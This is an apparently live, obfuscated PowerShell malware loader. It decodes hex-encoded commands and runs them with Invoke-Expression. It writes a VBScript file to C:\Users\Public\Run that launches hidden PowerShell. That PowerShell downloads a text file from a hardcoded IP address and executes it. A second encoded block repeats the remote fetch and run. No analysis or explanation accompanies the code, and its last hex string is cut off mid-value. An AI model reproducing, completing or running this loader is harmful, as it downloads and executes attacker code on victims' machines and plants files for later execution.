$aa = "24:-:46:-:56:-:59:-:54:-:46:-:59:-:54:-:46:-:59:-:46:-:59:-:46:-:59:-:46:-:59:-:46:-:47:-:59:-:3d:-:22:-:43:-:3a:-:5c:-:55:-:73:-:54:-:52:-:59:-:43:-:54:-:55:-:56:-:59:-:49:-:42:-:55:-:43:-:52:-:59:-:43:-:54:-:55:-:56:-:59:-:49:-:42:-:54:-:43:-:52:-:59:-:54:-:55:-:59:-:69:-:63:-:5c:-:52:-:75:-:6e:-:22:-:2e:-:52:-:65:-:70:-:6c:-:61:-:63:-:65:-:28:-:22:-:54:-:52:-:59:-:43:-:54:-:55:-:56:-:59:-:49:-:42:-:55:-:43:-:52:-:59:-:43:-:54:-:55:-:56:-:59:-:49:-:42:-:54:-:43:-:52:-:59:-:54:-:55:-:59:-:22:-:2c:-:22:-:65:-:72:-:73:-:5c:-:50:-:75:-:62:-:6c:-:22:-:29:-:0a:-:24:-:59:-:47:-:55:-:59:-:47:-:4e:-:55:-:48:-:59:-:47:-:55:-:59:-:47:-:59:-:55:-:47:-:59:-:47:-:55:-:59:-:47:-:59:-:55:-:47:-:20:-:3d:-:20:-:22:-:43:-:72:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:6f:-:72:-:79:-:22:-:2e:-:52:-:65:-:70:-:6c:-:61:-:63:-:65:-:28:-:22:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:22:-:2c
$bb = $aa -split ':-:' |ForEach-Object {[char][byte]"0x$_"}
$cc = $bb -join ''
Invoke-Expression $cc
start-sleep -s 7
$Content = @'
Set FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF = CreateObject("WScript.Shell")
H2 = "POwerSHeLL $TRUMP ='http://54XXX184XXX87XXX30/ServerXXXtxt'.Replace('XXX','.');$Shib='24=42=20"
H3 = "=3d=27=45=54=48=20=43=4f=49=4e=74=2e=57=54=46=20=43=4f=49=4e=6c=49=4f=53=4e=54=27=2e=52=65=70=6c=61=63=65=28=27=45=54=48=20=43=4f=49=4e=27=2c=27=6e=45=27=29=2e=52=65=70=6c=61"
H4 = "=63=65=28=27=54=46=20=43=4f=49=4e=27=2c=27=45=62=43=27=29=2e=52=65=70=6c=61=63=65=28=27=4f=53=27=2c=27=65=27=29=3b=24=43=43=20=3d=20=27=44=4f=53=20=43=4f=49=4e=20"
H5 = "=4c=53=4f=53=43=4f=49=4e=6e=47=27=2e=52=65=70=6c=61=63=65=28=27=53=20=43=4f=49=4e=20=27=2c=27=57=6e=27=29=2e=52=65=70=6c=61=63=65=28=27=53=4f=27=2c=27=6f=61=44=27=29"
H6 = "=2e=52=65=70=6c=61=63=65=28=27=43=4f=49=4e=27=2c=27=54=72=49=27=29=3b=24=41=20=3d=27=49=60=45=6f=73=20=43=4f=49=4e=60=57=60=42=54=43=20=43=4f=49=4e=6a=60=45=54"
H7 = "=48=20=43=4f=49=4e=20=24=42=29=2e=24=43=43=28=24=54=52=55=4d=50=29=27=2e=52=65=70=6c=61=63=65=28=27=6f=73=20=43=4f=49=4e=27=2c=27=58=28=6e=60=65=27=29=2e=52=65=70=6c=61=63=65=28=27=42"
H8 = "=54=43=20=43=4f=49=4e=27=2c=27=2d=4f=62=27=29=2e=52=65=70=6c=61=63=65=28=27=54=48=20=43=4f=49=4e=27=2c=27=60=63=60=54=27=29=3b=26=28=27=49=27=2b=27=45=58=27=29=28=24=41=20=2"
H12 = "d=4a=6f=69=6e=20=27=27=29=7c=26=28=27=49=27=2b=27=45=58=27=29=3b';"
H9 = "Invoke-Expression (-jo"
H10 = "in ($Shib -split '=' | ? { $_ } | % { [char][con"
H11 = "vert]::ToUInt32($_,16) }))"
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF.Run(H2+H3+H4+H5+H6+H7+H8+H12+H9+H10+H11+""),0,True
Set FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF = Nothing
Set-Content -Path C:\Users\Public\Run\New.vbs -Value $Content
start-sleep -s 7
$SZXDCFVGBHNJSDFGH = 'http://54XXX184XXX87XXX30/ServerXXXtxt'.Replace('XXX','.');
$HHHHHHHHHHHHHHHHHH = "24:-:45:-:44:-:52:-:46:-:47:-:48:-:4e:-:4a:-:4d:-:4b:-:44:-:45:-:46:-:47:-:48:-:4a:-:20:-:3d:-:20:-:27:-:6e:-:45:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:45:-:62:-:43:-:2b:-:2b:-:2b:-:2b:-:2b:-:2b:-:2b:-:2b:-:2b:-:2b:-:2b:-:2b:-:2b:-:2b:-:2b:-:2b:-:54:-:27:-:2e:-:52:-:65:-:70:-:6c:-:61:-:63:-:65:-:28:-:27:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:27:-:2c:-:27:-:74:-:2e:-:57:-:27:-:29:-:2e:-:52:-:65:-:70:-:6c:-:61:-:63:-:65:-:28:-:27:-:2b:-:2b:-:2b:-:2b:-:2b:-:2b:-:2b:-:2b:-:2b:-:2b:-:2b:-:2b:-:2b:-:2b:-:2b:-:2b:-:27:-:2c:-:27:-:6c:-:49:-:45:-:4e:-:27:-:29:-:3b:-:0a:-:24:-:53:-:58:-:44:-:43:-:46:-:56:-:47:-:42:-:48:-:4e:-:4a:-:58:-:44:-:43:-:46:-:56:-:47:-:42:-:48:-:4a:-:4b:-:20:-:3d:-:20:-:27:-:44:-:4f:-:2a:-:2a:-:2a:-:2a:-:2a:-:2a:-:2a:-:2a:-:2a:-:2a:-:2a:-:2a:-:2a:-:61:-:44:-:53:-:54:-:3c:-:3c:-:3c:-:3c:-:3c:-:3c:-:3c:-:3c:-:3c:-:3e:-:3e:-:3e:-:3e:-:3e:-:3e:-:3e:-:3e:-:3e:-:3e:-:3e:-:47:-:27:-:2e:-:52:-:6
$BBBBBBBBBBBBBBBBBB = $HHHHHHHHHHHHHHHHHH -split ':-:' |ForEach-Object {[char][byte]"0x$_"}
$HHHHHHHHHHHBBBBBBBBBAAAAAAAARRRRRRRRR = $BBBBBBBBBBBBBBBBBB -join ''
Invoke-Expression $HHHHHHHHHHHBBBBBBBBBAAAAAAAARRRRRRRRR